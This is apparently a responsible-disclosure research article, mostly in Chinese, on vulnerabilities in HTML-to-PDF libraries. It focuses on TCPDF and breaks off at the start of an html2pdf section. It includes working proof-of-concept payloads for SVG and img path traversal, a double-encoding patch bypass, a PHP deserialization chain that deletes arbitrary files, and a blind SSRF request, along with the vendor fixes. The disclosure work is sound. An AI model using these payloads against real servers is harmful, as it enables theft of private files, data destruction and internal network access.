Blind trust: what is hidden behind the process of creating your PDF file?
Authors: Aleksey Solovev, Nikita Sveshnikov, Vladimir Razov
Date: December 29, 2025
每天,成千上万的网络服务生成PDF(便携式文档格式)文件——账单、合同、报告。这一步通常被视为技术性常规操作,“只是转换一下HTML”,但实际上,这正是信任边界被跨越的地方。渲染器解析HTML,下载外部资源,处理字体、SVG和图像,有时还能访问网络和文件系统。危险的行为可能在默认情况下发生,无需显式选项或警告。这足以让PDF转换器变成SSRF代理、数据泄露渠道,甚至导致拒绝服务。
因此,我们对用PHP、JavaScript和Java语言编写的流行HTML-to-PDF库进行了针对性分析:TCPDF、html2pdf、jsPDF、mPDF、snappy、dompdf和OpenPDF。在研究过程中,PT Swarm团队发现了13个漏洞,演示了7种有意行为,并强调了6种潜在的配置错误。其中包括外部可访问的文件或目录、不可信数据的反序列化、服务器端请求伪造(SSRF)和拒绝服务等漏洞类别。
PDF生成在电子商务、金融科技、物流和SaaS中越来越普遍。此类服务通常部署在内部网络边界内,靠近敏感数据,那里的网络控制较为宽松。这意味着,即使渲染器中一个看似无害的错误,也可能升级为严重事件:文档、密钥或内部URL的泄露。
在本文中,我们提出了HTML-to-PDF库的威胁模型,逐一介绍了每个库的代表性发现,并提供了PoC代码片段。
介绍
为了演示“外部可访问的文件或目录”漏洞,我们使用神经网络生成了一份虚构国家护照的扫描件。该文件模拟了安全专业人员在信息安全审计中最常遇到的敏感个人数据(PII)。为演示,该文件将放置在以下路径:/tmp/user_files/user_1/private_image.png。
为了演示“不可信数据的反序列化”漏洞,将在服务器的以下路径放置一个任意文件:/tmp/do_not_delete_this_file.txt。删除实时系统上的此类真实文件可能导致拒绝服务等问题,或提供绕过服务器或应用程序级别某些限制的方法。请注意,删除此文件的进程必须具有必要的权限。
1
2
3
4
5
6
7
|
# 检查系统中是否存在 /tmp/do_not_delete_this_file.txt 文件
user@machine:~$ ls /tmp | grep "do_not_delete_this_file.txt"
do_not_delete_this_file.txt
user@machine:~$ ls -l /tmp/do_not_delete_this_file.txt
-rw-r--r-- 1 www-data www-data 36 Aug 4 15:10 /tmp/do_not_delete_this_file.txt
user@machine:~$ cat /tmp/do_not_delete_this_file.txt
3d6d1c81-7e5e-4694-b16d-6b06da3aa281
|
识别库及其版本
PDF生成很可能由第三方库执行,并且跨不同编程语言有很多这样的库。在许多情况下,这些库会在它们生成的文件中留下其签名——名称和版本。
要识别生成PDF文件的库的签名,可以检查文档属性。该库是TCPDF(版本6.10.1),一个流行的PHP库。
识别库及其版本对于信息安全专业人员和漏洞猎人至关重要。一旦获得签名,就可以检查先前发现和公开已知的漏洞,以及可能的配置错误和有意行为。
The tecnickcom/tcpdf library
描述
tecnickcom/tcpdf库是一个用于生成PDF文档和条形码的PHP库,目前仅处于支持模式。该库的新版本正在开发中——tecnickcom/tc-lib-pdf。
发现的漏洞
漏洞 1. 通过 image 标签和 xlink:href 属性导致的外部可访问文件或目录
研究人员: Vladimir Razov
描述
由于对嵌入SVG图像内<image>标签的xlink:href属性中的路径验证不当,外部源提供的特殊HTML标记允许攻击者在目标服务器生成的PDF中添加任意图像。
背景
路径遍历(也称为目录遍历)是一种Web应用程序漏洞,允许攻击者访问服务器上不应通过Web界面访问的文件和目录。
我们将在tecnickcom/tcpdf库的6.8.0版本上演示此漏洞的利用。
1
2
|
# 安装易受攻击的库版本
$ composer require tecnickcom/tcpdf:6.8.0
|
技术细节
让我们看看第一个漏洞,它允许我们访问服务器上的私人用户图像。
在解析SVG图像(有效的XML文件)时,每个子标签都由startSVGElementHandler函数处理。以下是startSVGElementHandler TCPDF方法的片段。
为了突出要观察的关键点,我们使用带编号标记的内联注释标记它们:// marker N。
标记1显示$img变量从关联数组$attribs通过xlink:href键初始化。将$img变量追溯到标记3可以清楚地看出,没有什么可以阻止验证请求的图像路径。让我们利用它!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
<?php
class TCPDF {
...
protected function startSVGElementHandler($parser, $name, $attribs, $ctm=array()) {
...
// process tag
switch($name) {
...
// image
case 'image': {
...
if (!isset($attribs['xlink:href']) OR empty($attribs['xlink:href'])) {
break;
}
...
$img = $attribs['xlink:href']; // marker 1
if (!$clipping) {
...
if (preg_match('/^data:image\/[^;]+;base64,/', $img, $m) > 0) {
...
} else {
// fix image path
if (!TCPDF_STATIC::empty_string($this->svgdir) AND (($img[0] == '.') OR (basename($img) == $img))) {
// replace relative path with full server path
$img = $this->svgdir.'/'.$img;
}
if (($img[0] == '/') AND !empty($_SERVER['DOCUMENT_ROOT']) AND ($_SERVER['DOCUMENT_ROOT'] != '/')) { // marker 2
$findroot = strpos($img, $_SERVER['DOCUMENT_ROOT']);
if (($findroot === false) OR ($findroot > 1)) {
if (substr($_SERVER['DOCUMENT_ROOT'], -1) == '/') {
$img = substr($_SERVER['DOCUMENT_ROOT'], 0, -1).$img;
} else {
$img = $_SERVER['DOCUMENT_ROOT'].$img;
}
}
}
$img = urldecode($img); // marker 3
$testscrtype = @parse_url($img);
...
}
...
}
break;
}
...
}
...
}
...
}
|
利用
攻击者发送包含两个图像的负载。在这种情况下,我们假设外部提供的负载已经在$payload变量中。
每个img标签都包含一个带有Base64编码字符串的src属性。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?php
require __DIR__ . '/vendor/autoload.php';
$payload = <<<payload
<html>
<body>
<img width="589px" height="415px" src="data:image/svg;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogICAgPGltYWdlIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIHhsaW5rOmhyZWY9Ii4uLy4uLy4uLy4uLy4uLy4uL3RtcC91c2VyX2ZpbGVzL3VzZXJfMS9wcml2YXRlX2ltYWdlLnBuZyIgLz4KPC9zdmc+">
<img width="589px" height="415px" src="data:image/svg;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogICAgPGltYWdlIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIHhsaW5rOmhyZWY9Ii8uLi8uLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIC8+Cjwvc3ZnPg==">
</body>
</html>
payload;
$pdf = new TCPDF('P', 'mm', 'A4', true, 'UTF-8', false);
$pdf->AddPage();
$pdf->writeHTML($payload);
$pdf->Output('./generated_file.pdf', 'I');
?>
|
解码Base64编码的字符串后,我们得到一个完全有效的SVG图像,其中包含带有xlink:href属性的<image>标签。此属性包含目标服务器上私人图像的相对路径:../../../../../../tmp/user_files/user_1/private_image.png或/../../../../../../tmp/user_files/user_1/private_image.png(以便执行满足标记为标记2的条件)。
1
2
3
4
|
<!-- 从Base64解码的第一个SVG负载 -->
<svg viewBox="0 0 0 0" xmlns="http://www.w3.org/2000/svg">
<image width="100%" height="100%" xlink:href="../../../../../../tmp/user_files/user_1/private_image.png" />
</svg>
|
然后我们调用易受攻击的服务器,基于$payload变量中的负载触发PDF生成。如果成功,浏览器将显示一个PDF文件,其中包含通过路径遍历检索到的任意私人用户图像。
修复
供应商于2025年1月26日修复了此漏洞,并发布了该库的6.8.1版本。修复在startSVGElementHandler TCPDF方法中添加了额外的条件检查。它检查$img变量中是否存在“../”子字符串,如果找到,则用break语句中断执行。
漏洞 2. 通过 image 标签和 xlink:href 属性导致的外部可访问文件或目录
研究人员: Aleksey Solovev
描述
此漏洞与上一个漏洞以及供应商的补丁直接相关。攻击者可以通过额外编码字符串中的某些字符来绕过供应商的补丁。
我们将在tecnickcom/tcpdf库的6.8.2版本上演示此漏洞的利用。
1
2
|
# 安装易受攻击的库版本
$ composer require tecnickcom/tcpdf:6.8.2
|
技术细节
在6.8.2版本中,供应商在startSVGElementHandler TCPDF方法中引入了对$img变量中“../”序列的额外检查。
根据新信息重新分析代码,我们确定要再次包含任意私人用户图像,我们必须绕过下面代码片段中标记为标记2的条件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
<?php
class TCPDF {
...
protected function startSVGElementHandler($parser, $name, $attribs, $ctm=array()) {
...
// process tag
switch($name) {
...
// image
case 'image': {
...
if (!isset($attribs['xlink:href']) OR empty($attribs['xlink:href'])) {
break;
}
...
$img = $attribs['xlink:href']; // marker 1
if (!$clipping) {
...
if (preg_match('/^data:image\/[^;]+;base64,/', $img, $m) > 0) {
...
} else {
// fix image path
if (strpos($img, '../') !== false) { // marker 2
// accessing parent folders is not allowed
break;
}
if (!TCPDF_STATIC::empty_string($this->svgdir) AND (($img[0] == '.') OR (basename($img) == $img))) {
// replace relative path with full server path
$img = $this->svgdir.'/'.$img;
}
if (($img[0] == '/') AND !empty($_SERVER['DOCUMENT_ROOT']) AND ($_SERVER['DOCUMENT_ROOT'] != '/')) { // marker 3
$findroot = strpos($img, $_SERVER['DOCUMENT_ROOT']);
if (($findroot === false) OR ($findroot > 1)) {
if (substr($_SERVER['DOCUMENT_ROOT'], -1) == '/') {
$img = substr($_SERVER['DOCUMENT_ROOT'], 0, -1).$img;
} else {
$img = $_SERVER['DOCUMENT_ROOT'].$img;
}
}
}
$img = urldecode($img); // marker 4
$testscrtype = @parse_url($img);
...
}
...
}
break;
}
...
}
...
}
...
}
|
当我在思考如何绕过检查字符串中是否存在“../”子字符串(标记2)的strpos($img, '../') !== false检查时,我注意到了原生函数urldecode,它解码$img变量值(标记4)。
字符串/..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fuser_files%2fuser_1%2fprivate_image.png或..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fuser_files%2fuser_1%2fprivate_image.png成功地绕过了条件检查(标记2),因为它们包含序列“..%2f”而不是“../”。当调用urldecode时,字符串被解码。当$img变量字符串被规范化时,所有的“..%2f”序列都变成了“../”。
因此,供应商作为漏洞补丁引入并标记为标记2的额外检查被成功绕过。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?php
require __DIR__ . '/vendor/autoload.php';
$payload = <<<payload
<html>
<body>
<img width="589px" height="415px" src="data:image/svg;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogICAgPGltYWdlIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIHhsaW5rOmhyZWY9Ii4uJTJmLi4lMmYuLiUyZi4uJTJmLi4lMmYuLiUyZnRtcCUyZnVzZXJfZmlsZXMlMmZ1c2VyXzElMmZwcml2YXRlX2ltYWdlLnBuZyIgLz4KPC9zdmc+">
<img width="589px" height="415px" src="data:image/svg;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogICAgPGltYWdlIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIHhsaW5rOmhyZWY9Ii8uLiUyZi4uJTJmLi4lMmYuLiUyZi4uJTJmLi4lMmZ0bXAlMmZ1c2VyX2ZpbGVzJTJmdXNlcl8xJTJmcHJpdmF0ZV9pbWFnZS5wbmciIC8+Cjwvc3ZnPg==">
</body>
</html>
payload;
$pdf = new TCPDF('P', 'mm', 'A4', true, 'UTF-8', false);
$pdf->AddPage();
$pdf->writeHTML($payload);
$pdf->Output('./generated_file.pdf', 'I');
?>
|
让我们考虑作为SVG图像呈现的两个Base64解码负载之一。
1
2
3
4
|
<!-- 从Base64解码的第一个SVG负载 -->
<svg viewBox="0 0 0 0" xmlns="http://www.w3.org/2000/svg">
<image width="100%" height="100%" xlink:href="..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fuser_files%2fuser_1%2fprivate_image.png" />
</svg>
|
我们调用易受攻击的服务器,基于$payload变量中的负载触发PDF生成。如果成功,浏览器将显示一个PDF文件,其中包含通过路径遍历检索到的两个任意私人用户图像。
修复
供应商于2025年4月3日修复了此漏洞,并发布了该库的6.9.1版本。修复引入了一个新方法isRelativePath。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
// 6.9.1版本中的供应商补丁
class TCPDF {
...
/**
* Check if the path is relative.
* @param string $path path to check
* @return boolean true if the path is relative
* @protected
* @since 6.9.1
*/
protected function isRelativePath($path) {
return (strpos(str_ireplace('%2E', '.', $this->unhtmlentities($path)), '..') !== false);
}
...
}
|
漏洞 3. 通过 image 标签和 src 属性导致的外部可访问文件或目录
研究人员: Aleksey Solovev
描述
这是另一个与上一个非常相似的漏洞。它涉及绕过检查子字符串中是否存在“../”值,但位置不同——在openHTMLTagHandler方法中,而不是之前的startSVGElementHandler方法。
我们将在tecnickcom/tcpdf库的6.8.2版本上演示此漏洞的利用。
1
2
|
# 安装易受攻击的库版本
$ composer require tecnickcom/tcpdf:6.8.2
|
技术细节
根据对上一个漏洞的详细描述,相似之处显而易见。
在处理openHTMLTagHandler TCPDF方法中的img标签时,可以绕过检查(标记2)。这是通过使用$imgsrc变量中的字符串实现的,该字符串不包含“../”子字符串并以“/”开头以满足标记为标记3的条件,之后将$imgsrc变量传递给原生urldecode函数(标记4)以规范化相对路径。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
<?php
class TCPDF {
...
protected function openHTMLTagHandler($dom, $key, $cell) {
...
// Opening tag
switch($tag['value']) {
...
case 'img': {
if (empty($tag['attribute']['src'])) {
break;
}
$imgsrc = $tag['attribute']['src']; // marker 1
if ($imgsrc[0] === '@') {
...
} else if (preg_match('@^data:image/([^;]*);base64,(.*)@', $imgsrc, $reg)) {
...
} elseif (strpos($imgsrc, '../') !== false) { // marker 2
// accessing parent folders is not allowed
break;
} elseif ( $this->allowLocalFiles && substr($imgsrc, 0, 7) === 'file://') {
...
} else {
if (($imgsrc[0] === '/') AND !empty($_SERVER['DOCUMENT_ROOT']) AND ($_SERVER['DOCUMENT_ROOT'] != '/')) { // marker 3
// fix image path
$findroot = strpos($imgsrc, $_SERVER['DOCUMENT_ROOT']);
if (($findroot === false) OR ($findroot > 1)) {
if (substr($_SERVER['DOCUMENT_ROOT'], -1) == '/') {
$imgsrc = substr($_SERVER['DOCUMENT_ROOT'], 0, -1).$imgsrc;
} else {
$imgsrc = $_SERVER['DOCUMENT_ROOT'].$imgsrc;
}
}
$imgsrc = urldecode($imgsrc); // marker 4
$testscrtype = @parse_url($imgsrc);
...
}
}
}
...
}
...
}
...
}
|
利用
攻击者传输带有图像的编码负载。编码确保服务器在收到请求时不会将“..%2f”序列更改为“../”。否则,我们将无法通过检查(标记2)并且无法利用此漏洞。
1
2
3
4
5
6
7
8
9
10
|
<?php
require __DIR__ . '/vendor/autoload.php';
$payload = isset($_GET['p']) ? $_GET['p'] : '';
$pdf = new TCPDF('P', 'mm', 'A4', true, 'UTF-8', false);
$pdf->AddPage();
$pdf->writeHTML($payload);
$pdf->Output('./generated_file.pdf', 'I');
?>
|
当向服务器发送请求时,攻击者将第一个“/”字符(为了满足标记为标记3的条件)编码为“%2f”,并且应该看起来像“..%2f”的序列(为了绕过标记为标记2的检查)被双重编码为“%252f”。
场景如下:
1
2
|
# 特定字符序列的双重编码
/?p=<img%20width="589px"%20height="415px"%20src="%2f..%252f..%252f..%252f..%252f..%252ftmp%252fuser_files%252fuser_1%252fprivate_image.png">
|
然后我们调用易受攻击的服务器,基于$payload变量中的负载触发PDF生成。如果成功,浏览器将显示一个PDF文件,其中包含通过路径遍历检索到的两个任意私人用户图像。
修复
供应商于2025年4月3日修复了此漏洞,并发布了该库的6.9.1版本。修复引入了一个新方法isRelativePath。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
// 6.9.1版本中的供应商补丁
class TCPDF {
...
/**
* Check if the path is relative.
* @param string $path path to check
* @return boolean true if the path is relative
* @protected
* @since 6.9.1
*/
protected function isRelativePath($path) {
return (strpos(str_ireplace('%2E', '.', $this->unhtmlentities($path)), '..') !== false);
}
...
}
|
漏洞 4. 不可信数据的反序列化
研究人员: Aleksey Solovev, Nikita Sveshnikov
描述
在检查TCPDF类时,我们发现了POP(面向属性编程)链,如果通过不安全的反序列化进行利用,将允许攻击者从系统中删除任意文件,只要当前进程具有相应的权限。
我们将在tecnickcom/tcpdf库的6.8.2版本上演示此漏洞的利用。
1
2
|
# 安装易受攻击的库版本
$ composer require tecnickcom/tcpdf:6.8.2
|
技术细节
我们注意到TCPDF类包含一个魔术方法__destruct,该方法又调用_destroy方法。让我们更仔细地看看当对TCPDF实例执行不安全的反序列化时会发生什么。
背景
反序列化是将以特定格式(如JSON、XML或二进制格式)编码的数据转换为程序可以使用的实例或数据结构的过程。
将来自外部源的序列化字符串传递给原生unserialize函数,而无需在代码中的任何位置进行预处理,将导致创建TCPDF实例。当不再需要该实例时,它将被销毁,并且首先调用魔术方法__destruct()。
在析构函数内部,仅调用_destroy方法(标记1),因此让我们检查此方法的逻辑。
如果$this->file_id字段值不存在于静态$cleaned_ids变量中(标记2),则执行继续到下一个检查(标记3)。在该检查中,$this->imagekeys字段必须包含一个值数组,这些值本质上是待删除文件的路径。该检查验证文件是否存在于系统中(标记5),然后调用原生unlink函数(标记6),该函数从$file变量中删除传递的值。
听起来很简单?是时候展示如何利用此漏洞了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
<?php
class TCPDF {
...
public function __destruct() {
// cleanup
$this->_destroy(true); // marker 1
}
...
public function _destroy($destroyall=false, $preserve_objcopy=false) {
if (isset(self::$cleaned_ids[$this->file_id])) { // marker 2
$destroyall = false;
}
if ($destroyall AND !$preserve_objcopy && isset($this->file_id)) { // marker 3
...
if (isset($this->imagekeys)) { // marker 4
foreach($this->imagekeys as $file) {
if (strpos($file, K_PATH_CACHE) === 0 && TCPDF_STATIC::file_exists($file)) { // marker 5
@unlink($file); // marker 6
}
}
}
}
...
}
...
}
|
利用
假设有一个基于从外部源获取的数据生成PDF文件的Web应用程序。
逻辑很简单:GET参数“p”中传递的值必须是序列化字符串(https://github.com/ambionics/phpggc/pull/215)。系统检查字符串是否存在并将其反序列化为$payload变量。接下来,代码检查$payload数组是否包含html键下的字符串。如果是,则将其用于生成PDF文件。
如果一切正确,我们继续生成PDF!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?php
require __DIR__ . '/vendor/autoload.php';
if (!array_key_exists('p', $_GET)) {
die('The GET parameter \'p\' is missing.');
}
$payload = unserialize($_GET['p']);
if (!$payload || !array_key_exists('html', $payload) || !is_string($payload['html'])) {
die('The \'html\' key is missing in the deserialized structure or the value is not a string.');
}
$pdf = new TCPDF('P', 'mm', 'A4', true, 'UTF-8', false);
$pdf->AddPage();
$pdf->writeHTML($payload['html']);
$pdf->Output('./generated_file.pdf', 'I');
?>
|
您可能已经注意到TCPDF类在作用域内。我们创建一个实例并使用它生成PDF。如前所述,代码调用原生unserialize函数,数据来自外部源。碎片组合在一起。
一开始我们提到目标服务器包含文件/tmp/do_not_delete_this_file.txt。我们将删除它以清楚地证明我们发现漏洞的利用。
1
2
3
|
# 检查系统中是否存在 /tmp/do_not_delete_this_file.txt 文件:
user@machine:~$ ls -l /tmp/do_not_delete_this_file.txt
-rw-r--r-- 1 www-data www-data 36 Aug 4 15:10 /tmp/do_not_delete_this_file.txt
|
在攻击者的机器上,基于TCPDF类序列化了一个字符串;必须在此字符串中定义file_id和imagekeys字段。
imagekeys字段包含一个文件路径数组,当TCPDF魔术方法__destruct执行时,这些文件将在反序列化后被删除。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# 序列化具有预设file_id和imagekeys字段的TCPDF类实例
user@machine:~$ cat generate.php
<?php
class TCPDF {}
$dummy = new TCPDF;
$dummy->file_id = -1;
$dummy->imagekeys = ["/tmp/../tmp/do_not_delete_this_file.txt"];
$payload = serialize(["html" => $dummy]);
echo $payload . PHP_EOL;
?>
user@machine:~$ php generate.php
a:1:{s:4:"html";O:5:"TCPDF":2:{s:7:"file_id";i:-1;s:9:"imagekeys";a:1:{i:0;s:39:"/tmp/../tmp/do_not_delete_this_file.txt";}}}
|
我们通过向目标服务器发送特殊的HTTP请求来启动PDF生成,其中GET参数“p”包含序列化字符串。
1
2
|
# 攻击者场景执行
/?p=a:1:{s:4:"html";O:5:"TCPDF":2:{s:7:"file_id";i:-1;s:9:"imagekeys";a:1:{i:0;s:39:"/tmp/../tmp/do_not_delete_this_file.txt";}}}
|
在反序列化传输的字符串期间,将创建TCPDF实例,然后通过调用析构函数自动销毁,从而触发从系统中删除任意文件。
当我们访问Web应用程序脚本时,我们收到了500 Internal Server Error。让我们检查目标系统中是否存在/tmp/do_not_delete_this_file.txt文件。该文件已成功删除,这表明漏洞利用成功。
修复
供应商于2025年4月20日修复了此漏洞,并发布了该库的6.9.3版本。
修复引入了TCPDF类的一个新函数_unlink,它是原生unlink函数的包装器(标记2),以及一个改进的检查文件在系统中是否存在以及文件是否属于该库的检查,通过在文件名中添加子字符串_tcpdf(标记1)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
// 修复反序列化期间的文件删除逻辑
class TCPDF {
...
public function _destroy($destroyall=false, $preserve_objcopy=false) {
if (isset(self::$cleaned_ids[$this->file_id])) {
$destroyall = false;
}
if ($destroyall AND !$preserve_objcopy && isset($this->file_id)) {
...
if (isset($this->imagekeys)) {
foreach($this->imagekeys as $file) {
if ((strpos($file, K_PATH_CACHE.'__tcpdf_'.$this->file_id.'_') === 0)
&& TCPDF_STATIC::file_exists($file)) { // marker 1
$this->_unlink($file);
}
}
}
}
...
}
...
protected function _unlink($file) // marker 2
{
if ((strpos($file, '://') !== false) && ((substr($file, 0, 7) !== 'file://') || (!$this->allowLocalFiles))) {
// forbidden protocol
return false;
}
return @unlink($file);
}
...
}
|
漏洞 5. 通过 img 标签和 src 属性导致的服务器端请求伪造(盲 SSRF)
研究人员: Aleksey Solovev
描述
在这项研究中,我们首次涉及服务器端请求伪造(SSRF);稍后我们将再次遇到它。
背景
SSRF是一种Web应用程序漏洞,允许攻击者从服务器向其他服务器发送请求,包括无法从外部网络访问的内部服务器。这可能导致严重的后果,例如泄露机密信息、绕过网络限制,甚至获得内部系统的控制权。
在我们讨论此漏洞在库源代码中的确切位置、其利用和修复之前,我们提醒您注意风险:
- 访问内部资源及其扫描
- 本地文件读取
- 运行任意命令
- 对其他系统的攻击
- 绕过防火墙和其他安全工具
在这个例子中,我们将演示一种简单、众所周知的从服务器发送任意请求的方法。
我们将在tecnickcom/tcpdf库的6.10.0版本上演示此漏洞的利用。
1
2
|
# 安装易受攻击的库版本
$ composer require tecnickcom/tcpdf:6.10.0
|
技术细节
库源代码中有相当多的问题可能导致服务器端请求伪造。例如,当处理带有img标签和src属性的图像时,就可能发生这种情况。这是因为在各种条件下,库可能会反复检查图像是否实际存在,并为进一步处理请求图像。
在这个例子中,由于篇幅原因,我们不会列出易受攻击的代码片段。但是,请注意,许多函数可能导致在服务器端执行请求:curl_exec、getimagesize、file_get_contents等等。
利用
攻击者传输一个负载,其中包含一个带有src属性的<img>标签,该属性的值是目标服务器在端口8080上的本地地址。我们假设外部提供的负载已经在$payload变量中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<?php
require __DIR__ . '/vendor/autoload.php';
$payload = <<<payload
<html>
<body>
<img width="1px" height="1px" src="http://127.0.0.1:8080">
</body>
</html>
payload;
$pdf = new TCPDF('P', 'mm', 'A4', true, 'UTF-8', false);
$pdf->AddPage();
$pdf->writeHTML($payload);
$pdf->Output('./generated_file.pdf', 'I');
?>
|
请注意,目标服务器上端口8080运行着一个任意的Web应用程序。这表明攻击者可以到达服务器的内部地址和端口。
1
2
3
|
# 在目标服务器的8080端口启动Web应用程序
user@machine:~$ mkdir app && python3 -m http.server 8080 -d ./app
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
|
攻击者访问生成PDF文件的Web应用程序脚本。在同一服务器上端口8080运行的Web应用程序在本地地址127.0.0.1收到了五个回环请求。
修复
我们向供应商报告了这个问题。然而,库开发人员回答说,此漏洞无效或不在库的范围内。
The spipu/html2pdf library
描述
spipu/html2pdf库是用PHP编写的HTML到PDF转换器,与PHP 7.2–8.4兼容。它允许将有效的HTML文件转换为PDF以生成发票、文档等。
发现的漏洞
漏洞 1. 不可信数据的反序列化
研究人员: Aleksey Solovev
描述
我们发现该库在内部使用了我们上面已经讨论过的tecnickcom/TCPDF库。
在这个库中,我们发现了一个漏洞,该漏洞允许通过Phar存档进行反序列化,然后从系统中删除任意文件,前提是当前进程具有必要的权限。
背景
Phar存档类似于Java JAR,但适应了PHP应用程序的需求和灵活性。Phar存档用于将完整的PHP应用程序或库作为